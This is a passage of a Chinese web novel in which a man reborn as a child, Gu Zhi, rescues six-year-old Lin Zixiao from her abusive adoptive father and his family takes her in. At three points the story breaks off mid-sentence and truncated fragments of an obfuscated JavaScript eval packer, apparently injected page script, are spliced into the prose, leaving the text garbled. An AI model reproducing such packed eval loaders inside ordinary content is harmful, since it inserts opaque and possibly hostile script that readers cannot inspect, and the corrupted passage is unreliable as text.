她默默地记下了顾执的话，决定回家以后要把今天的事情写在小本本上，老师都说好记性不如烂笔头烂笔头，她一定要找根最烂的笔头记住今天。 潇潇是个善解人意的好宝宝，即使顾执让她放宽心，她最后也只挑了不到三十块的小零食，老板找了好几张零零散散的钱给顾执，他的衣兜都变得有点鼓鼓的了。 系统提示顾执：【监测到幸福值变动，幸福值加5，目前总计为5。】 小孩子的幸福来得很容易。 见林梓潇涨了幸福值，系统也不催顾执了。 回家的路上，林梓潇舔着五毛钱的小冰棍，笑得乖乖的，好像已经把妈妈走掉的事情忘得一干二净了。 她笑起来很可爱，脸颊上的肉肉都堆在了一起，左脸上还浅浅的露出一个小酒窝。 林梓潇很少笑，上次在球场，顾执见她淡笑时，就露出了左脸上的小酒窝，因为笑得浅，所以并不明显，浅浅的酒窝把她整个人冷硬的气质都冲散了些，比平时那副冷冰冰的样子好看多了。 顾执想，或许能多见到这颗酒窝，就离完成任务不远了。 * 天色已经渐渐暗了下来，顾执不能一直陪着她，也到了要告别的时候。 陪着潇潇走回居民楼，顾执把从小店里买来的那袋零食塞到她手里，“潇潇，哥哥要走了。” 林梓潇愣了一下。 她有点舍不得，但潇潇是个很懂事的孩子，她知道自己不应该缠顾执留下来，也不愿意分别的时候用悲伤当做最后的回忆，潇潇很快扬起了一个笑脸，露出左脸上的酒窝。 “好，那，哥哥再见！” 顾执笑着看她，示意她赶紧回家。 潇潇迈开小短腿，一步一台阶地爬楼梯，朝家里走去。 潇潇的背影逐渐消失在了视野里，于是顾执打算离开。 正当他要走的时候，视野里出现了一个奇怪的男人。 男人喝的醉醺醺的，连走路都歪歪扭扭，手里还拎着没喝完的酒瓶，嘴里念念有词地咒骂着什么。 顾执皱了皱眉头，停下准备离开的脚步，盯着男人的背影。 男人走进了潇潇住的那栋居民楼。 一个醉鬼。 顾执心里涌上一阵不安，紧跟在他身后一起上楼。 男人停在了四楼左侧的门户，掏出一串钥匙，因为喝醉了的缘故，对不准钥匙孔，连插了好几下才打开大门。 顾执个子小，灵活地躲在楼梯拐角的视线盲区，加上男人喝了酒神智不清，并没有发现他。 等男人甩上大门，顾执才跑到门口侧耳听着。 男人鬼吼鬼叫的声音透过防盗门，模模糊糊断断续续的传出来。 “那个死婆娘走……我就知道…………死小崽子……” 门里又传出叮铃桄榔的声音。 顾执基本已经确定了男人的身份。 他一定就是林梓潇的那个人渣养父。 这个时候他无比怀念自己长大后一米八五的身体，可以一脚踹开门，把那个人渣揪出来狠狠揍一顿。 可他现在只是一个七岁的孩子，能力实在有限。 没有办法，顾执只好暂时离开，一路狂奔到刚才的小卖部。 小卖部里有座机电话，他刚才有注意到。 顾执从口袋里抓了一把零钱塞给老板：“老板，麻烦帮忙报个警，我听到那边的居民楼里有人在屋子里打人，动静很大，怕是要出人命。” 顾执怕自己的小孩身份引起扯皮，浪费时间，便直接委托老板帮他报警，故意夸大了说。 老板一听要闹出人命，又看顾执这么急匆匆的，人虽小，但斯文又有条理，不像普通小孩，便没有任何怀疑，立刻拨通了报警电话。 顾执告诉了他具体的地址。 老板挂了电话，告诉他：“警察说马上到，小朋友，这钱你收回去，都是叔叔该做的。” “谢谢叔叔，”顾执松了口气，礼貌地道谢，“我有些不放心，过去看看。” “哎哎，”老板叫住他，“我跟你一起去吧，你也是个小孩，别自己乱走出了事！” 老板把冰柜推进店里，拿U型锁锁住了小卖部大门，暂时歇业。 有大人陪着当然更好，顾执没有拒绝，把老板一起带到了潇潇家门口。 屋里果然传出一阵又一阵刺耳的摔打声，男人的咒骂声里夹杂着女孩稚嫩的哭泣声，可怜又揪心。 被打的小女孩听声音就知道年纪很小，老板也是个血气方刚的男人，立刻就看不下去了，使劲敲门：“屋里的，你没事打什么小姑娘，一个大男人，要不要脸！开门！我告诉你我已经报警了！” 屋里的摔打声此起彼伏，男人大吼道：“要你管什么闲事？！滚！！要不老子连你一起打！” 老板听得冒火，更大力地拍门：“有种你就出来打我啊！！打小姑娘算什么本事！！” 男人不管不顾，继续在屋里摔砸。 老板气急，简直想砸门。 顾执皱着眉头，也有些急。 现如今只能祈求警察来得快些。 好在派出所出警速度很快，警察不到十分钟就赶到了，因为电话里说是要打出人命了，因此来得是两个身强力壮的男警察，生怕治不住施暴者。 警察小跑上楼，问老板：“你是报警人？” “是的，”老板点点头，“里头还在打，被打的是个小姑娘，听着也才五六岁，警察同志你赶紧管管。” 老板和顾执让开，警察砰砰地敲门：“开门！我是警察！” 人渣喝得烂醉，拿自己当天王老子，管什么警察不警察的，照骂不误：“什么狗屁警察！老子打自己小孩轮得到警察管？！” 警察被他无语到，警告道：“法治社会，谁也不能打，如果你再不开门，我们就要破门了。” 男人骂骂咧咧的，终于还是来开了门，满脸嚣张：“你家不打小孩？你小时候没被你老子揍过？老子打小孩天经地义，什么破警察，赶紧滚！” 警察透过门缝看过去，小姑娘可怜巴巴地缩在桌底哭，头发散乱，额角胳膊上都是血淋淋的伤口，惨不忍睹。 他顿时皱眉：“谁家打小孩是这么打的？你已经构成故意伤害了，跟我回所里！” 男人醉得神智不清，扑上去要连警察一起打，大骂道：“滚！！都给我滚！！警察有什么了不起的！警察可以随便抓人吗！你知道老子是谁吗？？” “我管你是谁，我警告你这袭警了啊，”警察身手矫健，一手就制服了醉汉，把他的手扭到身后，“回所里！自己走还是我押着走！” 男人疼得哇哇大喊，眼看着来了个不好惹的，连连求饶道：“自己走自己走！我自己走！” 警察嗤了一声，揪着人：“那还不快走！” 另一个警察走进屋子里，蹲下身子看着桌子底下的林梓潇，尽量放柔自己的声音，免得吓到小孩：“小朋友，不要怕，现在没事了，跟警察叔叔一起到派出所去好不好？” 屋子里被砸的乱七八糟，小丫头缩成一团，吓得瑟瑟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身上裸露出来的地方几乎都有伤，等处理完，已经过去了很久，天都彻底黑了下来。 知道两个小孩还没吃晚饭，所里的女警送了盒饭过来，见潇潇头发乱糟糟的，还顺手给她梳了头。 小姑娘长得可爱，肉嘟嘟的脸又粉又软，很快赢得了所里一众姐姐阿姨的喜爱，都抢着来给她送吃的，顾执反而被冷落在一旁。 最后还是送他们来的那个男警想起了顾执，问他：“你家里人呢？知道电话吗？打个电话叫他们来接你？” 顾执思考了一下，点了点头。 他借所里的电话，给这具身体的妈妈拨去了电话。 听到他的声音，顾母激动得都破了音：“小执你去哪里了！怎么消失那么久，你知道妈妈有多担心吗！！” 顾执莫名消失了好几个小时，找遍度假村都找不到，要不是顾执打来了电话，顾母都已经打算去报警了。 顾执挠挠头，向顾母道了歉，又把事情的来龙去脉说了清楚。 最后，他问：“妈妈，潇潇妈妈肯定是不会回来了，她也没有其他亲人，要是没有监护人能照顾她的话，警察一定会酌情处理她爸爸的，如果处罚太轻，潇潇爸爸肯定还会再动手的。” “……所以呢？”宋诗发现自己的儿子好像一夜之间长大了好多，竟然能想的这么深。 “所以，妈妈你等会能不能假装是潇潇妈妈的朋友，我们把潇潇带走照顾几天吧，几天就好。”顾执说出了自己的目的。 “你这孩子……怎么随便往家里捡小孩啊，”宋诗震惊于顾执的大胆，“你跟那孩子也是今天才认识，你清楚她是什么样的人吗？” “总之你先过来吧。”顾执一锤定音，挂了电话，不给顾母反驳的机会。 挂了电话，他又趁周围没人，跟潇潇说悄悄话：“潇潇，一会我妈妈过来，我会指给你看，你要假装认识她，知道吗？” 潇潇疑惑地看过去。 顾执：“原因我之后再跟你解释，总之你先这么做。” 现在跟六岁的林梓潇解释监护人，拘留之类的，太费口舌了。 好在现在林梓潇还处于相信世界上没有一个坏人的阶段，无脑信任他，乖乖点头道：“我知道了，哥哥。” 顾执拍拍她的头：“真乖。” 顾执妈妈来得很快，一辆亮黑色的迈巴赫停在门口，身后还跟着助理和司机。 小镇里很少见这么贵的车子，路过的人都悄悄看了过去。 顾执在系统的帮助下拥有了原主的全部记忆，自然也认得自己的妈妈，见顾母来了，他拽了拽林梓潇提醒她。 没想到林梓潇直接像个小导弹一样扑了过去，抱住顾母的大腿，大声地喊道：“阿姨你来啦！” 宋诗惊了一下，低头看着腿边的小丫头。 6. 第六章 小姑娘也抬起头看她，大眼睛亮晶晶的，脸颊上还挂着一颗甜甜的小酒窝，看起来非常讨人喜欢。 不过惹眼的是，她额头和身上一个又一个的纱布，多到让人忍不住皱眉。 这么多伤，一定很疼吧。 可她却还笑得这么甜。 这么小的孩子，又那么可怜，能有什么坏心思。 宋诗心疼地把林梓潇抱了起来，拍拍她的背，柔声道：“没事了，阿姨来了。” 看样子早把自己告诫儿子的话忘到了脑后。 顾执：“……” 接下来的事就都交给了宋诗和她的助理，一切都很顺利。 宋诗对警察表示，一定要按最久的天数拘留，最高的罚金处罚，至于梓潇，她会带回去照顾。 警察查到小梓潇的父母确实是离婚了，也没有别的亲人。 而顾执和梓潇也确实是认识，在公安系统查了宋诗的身份，她是京城致和集团的总经理夫人，想必也没必要骗人，于是登记了宋诗的身份信息后，警察就把梓潇交给了她。 就这样，梓潇和顾执一起坐上了顾家的迈巴赫。 车上，宋诗还把小丫头抱在怀里，不肯放下来。 潇潇很乖地坐在她腿上，不吵不闹。 宋诗一边揉捏着她的脸蛋，一边教训顾执：“虽然你今天做了好事，但不打招呼就自己走掉这件事，是不会翻篇的，你知道我多着急吗？我都以为你被拐走了。” “对不起。”顾执很干脆地认错。 宋诗没消气：“道歉有用的话要警察做什么？你明天不准出去玩了，加练字帖二十张。” “好的妈妈。”顾执顺从地接受了。 “那潇潇嘞？”一直安静的林梓潇突然开口。 “潇潇呀？”宋诗变了一副嘴脸，夹着声音对林梓潇说，“潇潇跟阿姨一起出去玩呀，好不好？” 顾执：“……” 宋诗又捏着小孩软软的脸蛋玩了一会，突然像想起什么似的，专注地盯着她的脸看。 潇潇因为被捏着脸，声音含含糊糊的：“肿么了，阿妮。” “潇潇你……长得好像阿姨的一个好朋友。”宋诗仔细观察了一下她的五官。 顾执摸了摸鼻子。 能不像吗？林梓潇的眼睛和林母林景然简直是一个模子里刻出来的。 所以他妈刚才说自己是潇潇妈妈的朋友，其实也没错。 宋诗观察了一会，又把潇潇转过去面对顾执，寻求认同：“顾执，你不觉得吗？潇潇有点像你沈阿姨和景然弟弟。” 顾执心里一紧。 他一时没想好要怎么回答这个问题。 如果太急功近利的话，会不会反而引起怀疑？ 毕竟抱错孩子这种事，实在是狗血。 “是吗？我也觉得像。”顾执模棱两可地答了。 于是宋诗便也没有太在意，只当做是巧合，觉得有缘，心里对梓潇多了几分亲近。 顾家住在度假村里最大的一栋别墅，晚上，宋诗安排了助理送来女孩的睡衣和衣服。 因为身上伤口太多，不能碰水，宋诗就亲自给林梓潇擦洗了身体，又换上洗好烘干的小睡裙，想带着香喷喷的宝宝一起睡。 她本来就是想要个女孩的，可惜命不好，生了顾执这个臭小子，又乖又可爱的潇潇刚好满足了她对女儿的所有期待。 可是潇潇第一次在陌生的环境，没有熟人的情况下睡觉，就算再懂事，还是不免感到害怕不安。 比起宋诗，潇潇对年纪相仿，又温柔体贴的小哥哥顾执更依赖，于是她小心翼翼地提出想和顾执一起睡。 顾执独立的早，三岁开始就一个人睡了。 宋诗看出了梓潇的不安，叹了一口气，答应了她的请求。 她把人抱到顾执的房间。 顾执也刚洗了澡，正坐在床头随手翻看小说，见宋诗进来，抬眼看过去。 宋诗径直走到他床边，把怀里的潇潇塞进被窝：“潇潇说想跟你一起睡。” 转头一看，潇潇正睁着大眼睛看他，似乎是在恳求，小手捏紧了被子，一副死都不走的样子。 顾执眨了眨眼睛，有些惊讶。 他没想到，六岁的林梓潇比十七岁的她好接近这么多，他都还没有做什么，这小丫头就一副对自己全心全意信任的样子。 顾执的任务是让林梓潇幸福，他自然不会拒绝林梓潇的请求，何况她现在才六岁，在他看来就是一个小屁孩，一起睡当然也没什么问题。 于是顾执替林梓潇掖了掖被子，点头道：“好，我会好好照顾她的。” 宋诗发现儿子比平时懂事多了，觉得可能是因为有了更小的妹妹的原因，顿时觉得欣慰。 “那我就走了，你们俩不要玩太晚，早点睡哦！” 说完，宋诗就离开了房间。 顾执不管在剧本里还是现实世界里，都是家里的独生子，从没有和小朋友一起睡觉的经历，顿时觉得有点新奇。 不过他心理年龄在二十七岁，在他看来，更像是带小孩睡觉。 于是他指了指手里的小说，提议道：“潇潇，我给你读故事，你闭上眼睛好不好？” 这样应该就可以把小孩哄睡了吧。 “哥哥，你还没有说为什么要让潇潇假装认识阿姨呢。”潇潇眨巴着大眼睛看他。 “啊……”顾执笑了笑，没想到小孩记性这么好，“是这样的，警察叔叔和警察阿姨本来是要把爸爸关进笼子里教育的，可是因为潇潇需要人照顾，所以警察叔叔可能会为了潇潇把爸爸放掉。” 未来的高智反派果然很聪明，话还没说完，她就已经理解了：“所以只要潇潇有人照顾，警察阿姨警察叔叔就可以把爸爸关起来了，潇潇假装认识阿姨，这样阿姨就可以带走潇潇。” “聪明。”顾执刮了刮她的小鼻子。 “好了，你该睡觉了，不好好睡觉的话不是乖宝宝哦，潇潇是吗？” “是哒！”潇潇为了乖宝宝的称号，迅速拉起被子闭上眼睛，“潇潇睡觉了！” 顾执看着她可爱的小模样，忍俊不禁：“晚安，潇潇。” * 可能是因为家庭环境的原因，潇潇比同龄小孩都要懂事的多，早上顾执醒来的时候，发现潇潇早就醒了，但是她不吵也不闹，只是举着自己两条小短腿，自娱自乐地玩自己的脚丫子。 顾执看着她乖巧可爱的小脸蛋，不由的笑了笑：“潇潇，早安。” “哥哥早上好！”潇潇活力十足地在床上滚来滚去。 别墅的专属管家给林梓潇送来了小朋友的洗漱用品和衣物，潇潇不用人操心，自己就能洗漱。 换上了粉嫩的小裙子以后，整个人都像是又香又软的小蛋糕，散发着甜腻的味道，让人忍不住想咬一口。 去餐厅吃早餐的时候，宋诗一见她，眼睛就亮了起来，把小团子抱起来吧唧吧唧亲了两下。 潇潇傻呵呵地笑：“阿姨，早上好。” 潇潇吃饭也很乖，普通小孩这个年纪都是要在屁股后面追着喂饭的，她却乖乖巧巧地自己吃，因为餐具用的还不熟练，吃得慢慢的，斯文又干净。 世界上怎么会有这么可爱的小孩！！！ 宋诗“嗷”地一声，扑过去搂着潇潇又亲又抱。 顾执：“？” 哪里来的变态。 吃完饭，宋诗把顾执赶去练字，自己则带着潇潇出门玩耍。 但是林梓潇不愿意了，拽着顾执的手不想走，一边巴着他一边说：“潇潇和哥哥一起练字。” 宋诗见状，拿度假村的游乐设施诱惑她：“这里有一个很大的儿童乐园哦，超大的海洋球池，潇潇确定不去玩吗？” 对一个六岁小孩来说，游乐场的诱惑力确实不小。 但另顾执意外的是，潇潇非常坚定地摇了摇头，拒绝道：“潇潇要和哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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人家小姑娘好好地在练字，他先是专注地盯着人家，然后突然想凑上去亲一口的样子，这画面怎么看怎么不对劲。 顾执：“……在亲妹妹。” 顾执的自我认知是二十多岁，二十多岁的大人亲小孩表达喜欢当然没什么问题。但顾执忘了自己在别人眼里也就是个八岁小孩。 “你都八岁了，怎么可以随便亲人？尤其是小女孩。”顾清明严肃地教育他。 随后他又展开了合理的怀疑：“顾执，你在学校不会也这么亲女同学吧？” “……没有！”顾执气得不轻，“只亲过潇潇！” 顾清明用那种怀疑的眼神看着他。 毕竟顾执刚才的动作看起来很自然，不像是第一次做。 顾执咬牙切齿地说：“爸爸，你心太脏了，我就是觉得妹妹很可爱而已。” “好吧。”被儿子说心脏，顾清明尴尬地四处看了看。 也是，一个八岁小孩能有什么乱七八糟的心思。 潇潇似乎是沉浸在练字的世界里了，顾家父子争辩的时候，她又写了好几个字。 顾清明凑过来看她写的字。 意外的工整漂亮，不像是头次学写字的小孩写的。 顾清明真心实意地夸赞她：“写得不错。” “你叫林梓潇？” 潇潇刚学了自己的名字怎么写，她一笔一划地在字帖空白的地方写上林梓潇三个字，拿起来怼到顾父面前：“嗯！是这三个字！” 小朋友脸蛋肉嘟嘟的，认真的模样可爱到让人发笑。 顾清明不由得笑了笑，声音也温柔了起来：“啊，原来是这三个字呀，潇潇真棒。” 说完，他把潇潇抱起来，在她脸颊上亲了一下。 顾执：“……” 真是双标的大人，他自己亲怎么没关系？ 7. 第七章 正好到了饭点，于是顾清明直接把潇潇抱去餐厅吃饭。 这个年纪的孩子一般都很话唠，充满了对世界的疑问，每天都有很多话要说，但潇潇似乎是天生的性格沉稳，虽然没有长大后那么寡言，但总归是比较安静的。 吃饭的时候更是遵循食不言的规矩，几乎不会开口讲话，只会安安静静地扒自己的饭，乖得像个小天使。 顾家倒没有那么多规矩，更像是传统的中式家庭，总会在饭桌上聊些平淡琐碎的话题。 顾清明关心了两句他离开这两天发生的事，随后把目光放到了潇潇身上一个个的纱布上，目光里流露出一些不忍。 这小孩的身世他都听宋诗说了，父母离异，母亲将她丢给了家暴酗酒的人渣父亲，对于一个孩子的成长来说，这算是个天崩开局。 偏偏是这么乖巧聪明的孩子。 宋诗也怜惜地看着她，问顾清明：“潇潇可爱吧？” “可爱。”顾清明揉揉她的小脑袋。 懂事又漂亮的小幼崽，几乎没有人会不喜欢。 “我当时就是想要个这样的女儿，可惜生了顾执这个臭小子，”宋诗嫌弃地瞥了一眼顾执，又转头对着林梓潇笑：“潇潇要是阿姨的女儿就好了。” 林梓潇乖巧地抿唇笑了一下，天真纯良地又往嘴里塞了口饭，小嘴鼓鼓的。 过了一会，她吃完了碗里的饭，突然开口道：“潇潇有妈妈的，阿姨，我可以借电话打给妈妈吗？” 宋诗愣住了。 她忘记小丫头的妈妈刚抛下她离开了，又提起了她的伤心事。 “啊……”宋诗有点懊悔，说话都不利索了，“可，可以啊。” 林梓潇收好了自己的碗筷，踮脚放到厨房的水槽里，然后又跑到客厅的座机旁，认认真真地按了一串号码。 虽然妈妈没有叫她背过，不过她记得这串号码。 顾家三人目光紧紧追随着小小的身影。 怎么突然要打给妈妈？还是舍不得妈妈吗？ 可是他们三个都知道，既然已经选择了抛弃，往往就不会再回头了。这就是人性。 顾执记得小说里有这么一段。 被养父狠狠虐打后，林梓潇无数次幻想母亲可以突然从天而降拯救她，告诉她，妈妈现在终于有能力可以带走你了，和我走吧。 然后她就会不计前嫌地和母亲离开。 但是幻想终究会落空。 她带着总是消不去的伤口，在街口的小卖部拨通了母亲的电话，那是一串她记在心里很久的数字。 “喂？哪位？”母亲的声音好像没什么变化。 “妈妈我回来了！今天晚上吃什么呀？”那头隐约传来一个稚嫩的男声。 “说了多少遍了先去洗手，别偷吃！”虽然母亲拿远了电话，但是幸福还是透过听筒传了过来。 “喂？你是哪位？听得见吗？” 到最后，林梓潇还是没有开口，她沉默地挂断了电话。 哦，原来不幸福的只有她。 只有不幸福的人，才会拼命幻想。 剧本里简简单单的三言两语，变成了活生生展现在眼前的画面，顾执没法无动于衷。 他按住林梓潇的小手，问她：“潇潇，一定要打吗？” “嗯，”林梓潇看着他，点了点头，“因为潇潇有想说的话。” “……好，那就打吧。”不管是长大后的林梓潇还是小时候的潇潇，她们做出的决定都不会轻易改变，顾执只好答应。 但他还是有些担心，于是小心翼翼地提出：“潇潇，可以开免提吗？哥哥也想听一听。” “好。”林梓潇按下电话的免提键。 按下免提键的瞬间，电话接通了，那头传来一个年轻女人的声音：“喂？” “妈妈，是潇潇。”林梓潇很淡定地说。 “啊……是潇潇啊，有什么事吗？”女人的声音听起来有点慌乱。 “警察叔叔告诉我，爸爸妈妈已经离婚了，妈妈放弃了对我的抚养权。” “………”电话那头传来长久的沉默。 很久以后，电话那头的女人才释怀般地开口：“是的，爸爸妈妈已经离婚了，你就跟着爸爸吧，妈妈给不了你好的生活。” 这话听着可笑，林梓潇的养父早就丢了工作，每日酗酒赌博，又哪里能给潇潇好的生活？ “就算爸爸会打潇潇，也没关系吗？”林梓潇语气很平静，就连质问的口吻都没有。 那头的女人像是被戳中了什么，突然哭了起来：“我也要生活啊，我有什么办法呢？” “早知道他是那样的人，当时就不应该生下你！” 顾执皱着眉头，差点想骂人，最后还是握拳忍住了。 潇潇却似乎完全没有伤心的样子，漂亮的琥珀眼在阳光的映照下泛着淡淡的光，坚定而勇敢。 “我在被生出来的时侯，也不知道会遇到这样的爸爸妈妈。” “……”那头沉默了。 “小孩子要诚实，妈妈不是经常这样说吗？大人也应该要诚实的，这样潇潇能跟妈妈说一声再见。” “潇潇打电话，是要说再见的。” “再见，妈妈，现在开始，你不是我的妈妈了。” “潇……” 那头的人似乎还想说点什么，潇潇却果断放下听筒，挂断了电话。 顾执惊讶地看着林梓潇。 作为一个孩子，她决绝得不可思议。 在最需要母亲的年纪，潇潇却果决地放下了，面对已经抛弃了她的母亲，她选择放弃幻想。 剧本里的林梓潇不是这样的，她对母亲的幻想持续到中学时，这种注定落空的幻想也使她更加痛苦。 而现在，她改变了。 是因为他的到来而煽动的蝴蝶翅膀吗？ 餐桌上的两夫妻显然也清楚听到了电话里的对话，宋诗放下筷子，冲过来抱住潇潇。 “乖宝，做得好！”宋诗把她抱起来，转了一个圈圈。 顾清明也走了过来，摸了摸她的小脸，笑道：“潇潇，你真的是个很特别的孩子。” 潇潇只是沉默地埋在宋诗的肩头，什么话都不说。 顾执有些担忧地看着她，心中泛起一阵疼惜，这种汹涌的情绪让他觉得有些陌生。 他的内心有些不平静，看到顾父顾母在努力逗潇潇开心，顾执便默默地退走，回到书房里去练字。 顾执是父母亲唯一的孩子，爷爷奶奶的独孙，从小就被当成远顾集团的未来继承人培养。 作为一个如此庞大集团的未来主人，注定不能拥有太多感情，这样才能用最冷静的头脑面对一切，大人是这么教的，他也是这么学的。 不知是否是因为习惯了冷眼旁观，顾执向来不会对任何事物投入多余的感情，礼貌待人只是出于他的教养，温和周到是他一向对外的形象，但顾执心里明白，他从没对任何人有“越界”的感情。 因此顾执很清楚的感觉到，自己对林梓潇小朋友的疼惜和怜爱，已经超出了任务的范畴，他似乎，开始付出感情了。 不习惯付出感情的人，意识到自己的反常后，第一反应是冷处理，以平复掉自己那些多余的情绪。 潇潇被顾明远从宋诗怀里抱了过去，她情绪有些低落，趴在顾明远肩上，看到顾执离开的背影，不自觉地抿了抿唇。 虽然顾家一家都在度假中，但顾氏集团的工作却是一天都不会少，顾明远即使人陪着家人，还是免不了要居家办公，陪着林梓潇玩了一会，他就去二楼书房工作了。 而宋诗则是兴致勃勃地玩起了奇迹潇潇的游戏，她让人送来很多衣服配饰，一样样地往林梓潇身上堆，给她编头发，戴首饰，把她打扮得像个可口的小蛋糕。 与其说是宋诗陪林梓潇玩，不如说是林梓潇在陪宋诗玩。 林梓潇没有一点不耐烦，乖乖地任由宋诗折腾，最后还陪着她一起在沙发上看电视。 夏日的午后总是容易泛乏，宋诗靠在沙发上看了一会肥皂剧，就忍不住闭眼睡了过去。 林梓潇没睡，见宋诗闭眼睡熟了，她跳下沙发，走到一楼书房门口，轻轻敲了敲门，乖巧地询问：“哥哥，我可以进来吗？” 顾执还处于冷处理自己多余感情的阶段，试图靠练字维持冷静，他的语气看似平常，但又隐隐带着一丝疏离：“哥哥在练字，不方便陪你，潇潇自己在外面玩一会吧。” “……”林梓潇低下头，默了默，没有任性强求，平静地说：“好的哥哥。” 听到小姑娘的声音，顾执心里又忍不住担忧：她会不会不开心，会不会难过。 手下的动作顿了顿，狼毫笔在宣纸上晕出一团墨水。 顾执心乱如麻，扔掉了这张被他写毁的字帖。 他最终还是选择硬下心肠，先晾一晾自己过分活跃的情绪。 他宽慰自己：宋诗和顾清明还在外面，他们很喜欢她，会照顾她，陪她玩的。 顾执努力静下心来写了会字，却斜眼瞥到林梓潇上午用过的小练字册，上面认认真真，一笔一划地写着“顾执”两个字。 那是小朋友要他示范以后学的，也是她学写的第一个名字，甚至先于她自己的。 顾执刚安静下来的心，又被这两个稚嫩的字动摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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身上没有手帕，他只好用手帮她擦拭眼泪。 顾执实在没有想到，林梓潇小时候是这么爱哭的小哭包。 “哥、哥……”林梓潇抽抽嗒嗒地喊他。 “嗯，哥哥在这呢。”顾执轻轻拍她的背，替她缓和情绪。 “潇潇会乖乖的，潇、潇潇还会做家务，吃的也、也很少，哥哥别不要我……”林梓潇一边哭一边恳求着，漂亮的琥珀眼里满是惊惧和不安。 顾执几乎在一瞬间就明白了过来。 潇潇从小敏感早慧慧，她察觉到了自己刻意冷淡的态度，便以为他也要抛弃她，于是努力用行动证明自己的价值。 虽然潇潇主动给养母打了电话，看似已经放下了母亲抛下她离开的事实，但幼小的心灵怎么可能不留下伤痕。 潇潇已经被迫承受了这么多，自己却还故意疏远她，害得她如此难过不安。 顾执心里顿时涌起浓浓的愧疚，哪里还有空管自己是不是投入太多感情。 他心疼地抱住了眼前小小的一团，抚着她的背道歉：“对不起潇潇，哥哥刚才不是故意冷落你的，对不起，不会不要你的，潇潇对不起。” 潇潇现在就只是小朋友而已，心思又这么敏感，他怎么能因为自己的原因就冷落她，实在是太坏了。 顾执不断承诺着自己不会不要她，潇潇总算是渐渐停止了哭泣，可怜地吸了吸鼻子。 她抬起头，眼睫还挂着泪珠，却冲顾执露出了甜甜的笑容：“哥哥没有对不起潇潇，哥哥最好了！” 被他伤了心还要反过来安慰他，真是太乖了。 顾执叹了口气，使劲地揉了揉她的头发，再次承诺道：“对不起，哥哥再也不会那样了。” 潇潇本来就是他的任务对象，这么乖这么可爱的小孩，多心疼她一点又怎么样？ 原剧本里也有描写，就算是黑化后的林梓潇，也是极为爱憎分明的，对于信任的人，她付出全部真心回报，比如她的好友陈让。 在她成长路上帮过她的人，林梓潇一个都没有忘，哪怕是自己已经准备赴死，也安排好了所有心腹的未来。 懂得投桃报李，算是这位反派的魅力点之一。 顾执很清楚，他现在对潇潇的一分好，她将来都会十分地还给他。 一个乖巧可爱，还不可能背叛你的小朋友，就算付出全部感情疼爱她，也是值得的。 更何况，她已经被命运如此不公地对待了，多给她一点偏爱，似乎也很合理。 顾执想通了，放松般地长出一口气。 撸猫一样把小姑娘的头发乱揉一通，盯着她的眼睛，郑重地告诉她：“潇潇，不管未来怎样，我永远站在你这一边。” 虽然命运没有站在你这一边，但我会一直站在你身边。 如果说先前顾执更多的把林梓潇的幸福看作是一个不得不完成的任务。 那么现在，他是真心希望林梓潇可以幸福。 8. 第八章 晚上，顾清明怕小姑娘一个人睡会害怕，便贴心的提出让宋诗和林梓潇一起睡，他去和顾执睡。 但是潇潇经过下午那一遭，更黏顾执了，紧紧牵着顾执的手，一脸休想拆散我们的坚定表情。 宋诗已经见怪不怪了：“就让他们俩一块睡吧，潇潇就黏他。” 顾清明有些迟疑：“男女七岁不同席，这好吗？” “潇潇这不也没七岁吗，”宋诗替她讲话，“都是小孩子，有什么关系，再说潇潇离了小执恐怕都睡不着。” 顾执也点了点头，保证道：“嗯，我会照顾好妹妹的。” 顾清明这才松了口。 于是潇潇被宋诗带去洗完澡后，又被塞进了顾执的被窝。 她被洗困了，懒懒地蜷在顾执身边。 林梓潇没被家里精心呵护，虽然脸上肉肉的，但是身上没几两肉，普通六岁孩子现在大人都快抱不动了，但潇潇还可以被随手拎来拎去，小小的一只，像团成一团的小狗崽，看着让人怜惜。 潇潇困得都快睁不开眼了，还不忘自己的福利：“哥哥讲故事……” 昨晚顾执说要讲故事给她，但没兑现，于是答应了今晚讲。 顾执笑了笑，替她掖了掖被子：“潇潇闭上眼，哥哥读给你听。” 潇潇听话地闭上了自己已经眯成一条缝的眼睛，粉嫩的脸颊肉被枕头挤压着，看起来很可爱。 顾执拿着自己床头的小说书，随手翻开读了起来：“尼德·兰看得很准确，人们在他的指引下也看到了那个东西：在‘林肯号’下方大约370米的地方，好像有光线从海底射出海面……”【1】 他还没读几句，就听到身边的小姑娘轻轻哼哼了两声，呼吸变得绵长规律，听着已经睡着了。 但顾执没有停下，又读了几页，等潇潇彻底睡熟了才合上书本。 他照例低头亲了亲她的额角，轻声说：“晚安，潇潇。” 小姑娘似乎已经沉浸在梦乡，模模糊糊听到他说晚安，下意识地哼唧了两声，似乎在回应。 * 几周的时间过去的很快，顾家的度假假期要结束了，潇潇的养父也要从看守所里被放出来了。 这几天的相处，让宋诗和顾清明打心底里疼爱这个孩子。 虽然是度假，但因为顾执从小接受的就是精英教育，即使出来度假，课程也不能断，潇潇和顾执一起学习时，展现出了惊人的学习天赋。 她学什么都很快，而且有模有样，小孩子往往小一岁差距就很大，但潇潇却能完美地跟上顾执学习的节奏。 聪明、乖巧、懂事、漂亮，潇潇简直是个完美的小孩。 都说三天养成一个习惯，潇潇和顾家人在一起呆了快一个月，已经几乎成为了顾家的一员。 潇潇身上的皮外伤已经都结了痂，好得差不多了，宋诗和顾清明决定带着两个小朋友去山庄周围徒步、野餐、玩漂流。 林梓潇的家庭环境很压抑，几乎没有什么集体户外活动，她感到很新奇，牵着顾执的手，好奇地打量周围，不过她天生性格内敛，即使心里挺兴奋的，也没有表露出来。 反倒是宋诗，比两个小朋友都要亢奋，时不时就跑远了，还要拉着顾清明给自己拍照。 